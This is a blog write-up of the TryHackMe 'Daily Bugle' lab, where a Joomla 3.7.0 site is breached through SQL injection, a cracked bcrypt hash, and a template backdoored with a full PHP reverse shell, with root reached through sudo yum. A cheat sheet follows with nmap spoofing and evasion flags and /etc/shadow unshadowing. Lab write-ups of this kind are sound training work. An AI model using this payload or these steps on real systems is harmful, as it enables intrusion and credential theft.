Daily Bugle - TryHackMe

9 min read

Published at: Mar 22, 2024

Daily Bugle

Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.

Metadata

Meta

Goal

Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum.

Cheat Sheet

Before we begin, as always there is a generic Cheat Sheet for this room which could be integrated in your own notes. You find it at at the bottom of this write-up. You can also find all of my notes at https://hailstormsec.com/posts/categories/notes.

Questions

Access the web server, who robbed the bank?

spiderman.png
Home page, port 80

Answers(s)

SpiderMan

What is the Joomla version?

The easiest way to figure out the version of Joomla is to use an nmap script.

sudo nmap -p 80 --script=http-enum 10.10.159.37

PORT   STATE SERVICE
80/tcp open  http
| http-enum:
|   /administrator/: Possible admin folder
|   /administrator/index.php: Possible admin folder
|   /robots.txt: Robots file
|   /administrator/manifests/files/joomla.xml: Joomla version 3.7.0
|   /language/en-GB/en-GB.xml: Joomla version 3.7.0
|   /htaccess.txt: Joomla!
|   /README.txt: Interesting, a readme.
|   /bin/: Potentially interesting folder
|   /cache/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /images/: Potentially interesting folder
|   /includes/: Potentially interesting folder
|   /libraries/: Potentially interesting folder
|   /modules/: Potentially interesting folder
|   /templates/: Potentially interesting folder
|_  /tmp/: Potentially interesting folder

Answers(s)

3.7.0

What is Jonah's cracked password?

Now that we know the version, we can start to look for potential vulnerabilities. I usually do so by using searchsploit.

Just like that, a cve
Simple as that, we now have an SQL Injection for this version!

On exploit-db there is a way to do it simply with sqlmap. However the room suggests we do it with a python-script instead. So we simply google "joomla 3.7.0 exploit" and we find the GitHub link with the exploit ready! Now we can just wget it onto our machine:

wget https://raw.githubusercontent.com/stefanlucas/Exploit-Joomla/master/joomblah.py
Found the hash using the python-script
We see a hash together with the usernames!

To see what the password is we can try and utilise JohnTheRipper.

john hash --wordlist=/usr/share/wordlist/rockyou.txt
And we found the password
The hash algorithm is bcrypt, Blowfish

Answers(s)

spiderman123

What is the user flag?

Now with the newfound credentials (jonah as the username) we can try and log onto the joomla admin portal (/administrator) that we found before with our nmap scan.

To get a shell however we can tamper with the website template and replace it with a reverse shell:

Go to Protostar template
Extensions -> Templates -> Protostar Details and Files
template.png
index.php (landing page)
malicious-template.png
Replace with a php reverse shell

I used the following php-reverse shell:


  <?php
  // php-reverse-shell - A Reverse Shell implementation in PHP
  // Copyright (C) 2007 [email protected]

  set_time_limit (0);
  $VERSION = "1.0";
  $ip = '';  // You have changed this
  $port = ;  // And this
  $chunk_size = 1400;
  $write_a = null;
  $error_a = null;
  $shell = 'uname -a; w; id; /bin/sh -i';
  $daemon = 0;
  $debug = 0;

  //
  // Daemonise ourself if possible to avoid zombies later
  //

  // pcntl_fork is hardly ever available, but will allow us to daemonise
  // our php process and avoid zombies.  Worth a try...
  if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();
    
    if ($pid <b> -1) {
      printit("ERROR: Can't fork");
      exit(1);
    }
    
    if ($pid) {
      exit(0);  // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() </b> -1) {
      printit("Error: Can't setsid()");
      exit(1);
    }

    $daemon = 1;
  } else {
    printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
  }

  // Change to a safe directory
  chdir("/");

  // Remove any umask we inherited
  umask(0);

  //
  // Do the reverse shell...
  //

  // Open reverse connection
  $sock = fsockopen($ip, $port, $errno, $errstr, 30);
  if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
  }

  // Spawn shell process
  $descriptorspec = array(
    0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
    1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
    2 => array("pipe", "w")   // stderr is a pipe that the child will write to
  );

  $process = proc_open($shell, $descriptorspec, $pipes);

  if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
  }

  // Set everything to non-blocking
  // Reason: Occsionally reads will block, even though stream_select tells us they won't
  stream_set_blocking($pipes[0], 0);
  stream_set_blocking($pipes[1], 0);
  stream_set_blocking($pipes[2], 0);
  stream_set_blocking($sock, 0);

  printit("Successfully opened reverse shell to $ip:$port");

  while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
      printit("ERROR: Shell connection terminated");
      break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
      printit("ERROR: Shell process terminated");
      break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
      if ($debug) printit("SOCK READ");
      $input = fread($sock, $chunk_size);
      if ($debug) printit("SOCK: $input");
      fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
      if ($debug) printit("STDOUT READ");
      $input = fread($pipes[1], $chunk_size);
      if ($debug) printit("STDOUT: $input");
      fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
      if ($debug) printit("STDERR READ");
      $input = fread($pipes[2], $chunk_size);
      if ($debug) printit("STDERR: $input");
      fwrite($sock, $input);
    }
  }

  fclose($sock);
  fclose($pipes[0]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  proc_close($process);

  // Like print, but does nothing if we've daemonised ourself
  // (I can't figure out how to redirect STDOUT like a proper daemon)
  function printit ($string) {
    if (!$daemon) {
      print "$string
";
    }
  }

  ?> 

Now before navigating to the landing page to trigger our reverse shell, make sure to create a listener:

nc -lvnp 4444

Boom! We have a shell. Now we just want to stabilise it and get the user flag!

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116

How does it work?

Explanation per line:

  1. Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys.
  2. This will give us access to term commands such as clear.
  3. This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes.
  4. Get back to the shell.

About the flag though... when running whoami I realised I'm apache.

We are apache...
So we need to find some credentials!

The logical place to start is the /var/www/html folder since we are on a webserver. Here we find a configuration file which LUCKILY has some credentials for me.

Credentials!!!!

The credentials are stated to be for root... but we instead get them to work for the user "jjameson"!

user.png
Now we can finally grab the user flag!

Answers(s)

27a260fe3cba712cfdedb1c86d80442e

What is the root flag?

A good place to start when "privescing" is to run sudo -l to see what we are allowed to do.

Yum as root...
We can run yum as root (a package manager)

Now the best way to go is GTFOBins - a curated list of Unix binaries that can be used to bypass local security restrictions in misconfigured systems. By simply navigating to yum we see a way to escalate our privileges!

How to privesc with yum

Option `a` doesn't work due to fpm not being installed on the system, forcing us to go with option `b`.

Just like that, we are root!

The final flag is now accessable for us inside of the `/root` folder!

Answers(s)

eec3d53292b1821868266858d7fa6f79


Cheat Sheet

You can also find all of the following under the notes category.

Nmap

Initial port scan:

sudo nmap -p- -v 

Add -Pn if windows machine

Narrow secondary scan:

sudo nmap -v -A -sC --script vuln -p PORTS

Nmap to searchsploit:

sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml

Scripts

  • --script scriptname: run scripts
  • locate *.nse: list all scripts

Good scripts:

Script name Functionality
dns-brute Attempts to enumerate DNS hostnames by brute force guessing of common subdomains.
http-enum Enumerates directories used by popular web applications and servers.
http-title Shows the title of the default page of a web server.
nfs* Enumerates network file shares.
smb-os-discovery Attempts to determine the operating system, computer name, domain, workgroup, and current time over the SMB protocol (ports 445 or 139).
smb-brute Attempts to guess username/password combinations over SMB, storing discovered combinations for use in other scripts.
smb-enum-shares Tries to enumerate shares.
smb-enum-users Tries to enumerate users of the shares.

Other script syntax:

-sC - Default scripts
--script all - runs all script (can DoS)
--script-updatedb - update the NSE scripts
--script banner - run the named script (banner) against the target(s)
--script-help "http*" - get help for the named script(s) (use wildcard * alone for all scripts)
--script "http*" - run all scripts beginning with http against the target(s)
--script "smb*" - run all scripts beginning with smb against the target(s)
--script category - runs all scripts within a script-category (e.g. vuln)

Examples, categories, etc: https://nmap.org/book/nse-usage.html

Other flags

Flag Function
-sU UDP scan
-F top 100 ports
-iL input file
-D decoy source IP (RND for random)
-S spoof IP, need to be on the same network
-g source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS )
--reason show target response
--packet_trace show packet details
traceroute show topology
Packet fragmentation
-f to set the data in the IP packet to 8 bytes.
-ff to limit the data in the IP packet to 16 bytes at most.
--mtu SIZE to provide a custom size for data carried within the IP packet. The size should be a multiple of 8.
Packet fragmentation end
--data-length set a specific length (multiple of 8)
--badsum send invalid packet
--ip-options "[S/L] IP IP2" Strict and loose routing
--proxies comma separated proxy list (HTTP or SOCKS4)
--spoof-mac need to be on the same network
--ttl set specific time to live

Searchsploit

Queries exploit.db Usage:

searchsploit SEARCH TERM

Flags:

  • --cve CVE: search on cve number
  • -u: update
  • -x ID: examine the exploit
  • -p: Show the full path to an exploit (and also copies the path to the clipboard if possible)

JohnTheRipper

Also:

# Combine passwd and shadow for linux systems
sudo unshadow /etc/passwd /etc/shadow > unshadowed

# unshadowed parser
cat unshadowed | awk +F: '{print $2}' | sort -u

john --wordlist=list.txt --format=md5crypt unshadowed.txt

Add rules

You can add rules with --rules=best64 or KoreLogic

Cracked passwords stored in ~/.john/john.pot or add --show and --show=left

Custom rule

Edit: /etc/john/john.conf

Example

For [!@#$]word\d{2} (regex), for non-regex terms. Prepend with !@#$ and append with two digits on every given word:

  • [List.Rules:rulename]
  • Az"[0-9][0-9]" ^[!@#$]
  • To create list: john --wordlist=password-list --rule=rulename --stdout > new.lst

Stabilise Shell

python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# CTRL + Z
stty raw -echo; fg
stty rows 38 columns 116

How does it work?

Explanation per line:

  1. Which uses Python to spawn a better-featured bash shell. At this point, our shell will look a bit prettier, but we still won’t be able to use tab autocomplete or the arrow keys.
  2. This will give us access to term commands such as clear.
  3. This does two things: first, it turns off our own terminal echo which gives us access to tab autocompletes, the arrow keys, and Ctrl + C to kill processes.
  4. Get back to the shell.

Support me

Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!

  • Turn off Adblocker: A simple yet impactful way to support me for free.
  • Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
  • Buy Premium: Explore the Premium option for additional perks and exclusive content.
  • Give a Tip: Your generosity is always very appreciated.

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media:

  • Twitter: Follow for real-time updates and insights.
  • LinkedIn: Connect with me on a professional platform.

Contact me here: [email protected]

Discussion

Become a member and never miss a post!

By signing up you have read and agree to the Privacy Policy.

Newsletter

Bonus content

Learn more...

Continue reading

Continue reading

Continue reading